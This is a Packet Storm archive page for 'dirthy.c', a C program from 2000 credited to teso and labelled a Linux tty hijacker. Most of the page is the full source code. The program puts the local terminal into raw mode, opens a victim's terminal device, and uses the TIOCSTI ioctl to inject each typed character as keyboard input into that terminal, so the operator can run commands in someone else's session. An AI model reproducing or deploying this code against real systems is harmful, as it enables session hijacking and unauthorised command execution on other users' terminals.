what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

dirthy.c

dirthy.c
Posted Feb 11, 2000
Authored by teso

linux tty hijacker

systems | linux
SHA-256 | 1a7d638efbe39f49605381b9cc11b12ec8770a89dae4e2f9abcf4464e3dcc29b

dirthy.c

Change Mirror Download
/* writeonly redo if dirtyh.c.. hmm, still ugly, but cbreak mode - typo/teso */

#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdarg.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <getopt.h>

#define EXTERN extern
#define PRIVATE static
#define PUBLIC

PRIVATE struct termios save_termios;
PRIVATE int ttysavefd = -1;
PRIVATE enum { RESET, DIRTY } ttystate = RESET;

int tty_dirtyterm (int fd) {
struct termios buf;

if (tcgetattr(fd, &save_termios) < 0)
return(-1);

buf = save_termios;

buf.c_lflag &= ~(ECHO | ICANON);

buf.c_cc[VMIN] = 1;
buf.c_cc[VTIME] = 0;

if (tcsetattr(fd, TCSAFLUSH, &buf) <0)
return(-1);

ttystate = DIRTY;
ttysavefd = fd;

return(0);
}

int tty_reset (int fd) {
if (ttystate == RESET)
return(0);

if (tcsetattr(fd, TCSAFLUSH, &save_termios) < 0)
return(-1);

ttystate = RESET;
return(0);
}

void tty_cleanup (void) {
if (ttysavefd >= 0) {
fflush(stdout);
tty_reset(ttysavefd);
}
exit(EXIT_SUCCESS);
}

void err (const int syserr, const char *msg, ...) {
va_list ap;

printf("err: ");

va_start (ap, msg);
vprintf (msg, ap);
va_end (ap);

if (syserr)
printf(": %s\n", sys_errlist[errno]);
else
printf("\n");

tty_cleanup();
exit(EXIT_FAILURE);
}

void sig_catch (int signo) {
printf("%s\n", sys_siglist[signo]);
tty_cleanup();
}

int main (int argc, char **argv) {
int i, fd;
char c;
char moo[2]; /* char + \0 */

if (argc < 2)
err(0, "usage: %s </dev/ttyXY>", argv[0]);

if (signal(SIGINT, sig_catch) == SIG_ERR)
err(1, "signal(SIGINT) error");
if (signal(SIGQUIT, sig_catch) == SIG_ERR)
err(1, "signal(SIGQUIT) error");
if (signal(SIGTERM, sig_catch) == SIG_ERR)
err(1, "signal(SIGTERM) error");

if ( (fd = open(argv[1], O_WRONLY)) < 0)
err(1, "open() error");

tty_dirtyterm(STDIN_FILENO);

while ( (i = read(STDIN_FILENO, &c, 1)) == 1) {
c &= 255;
sprintf(moo, "%c", c);
printf("%c", c);
if (c == 127)
printf("\b \b");
fflush(stdout);
ioctl(fd, TIOCSTI, moo);
}

tty_reset(STDIN_FILENO);
if (i <= 0)
err(1, "read error");

return(42); /* not reached */
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close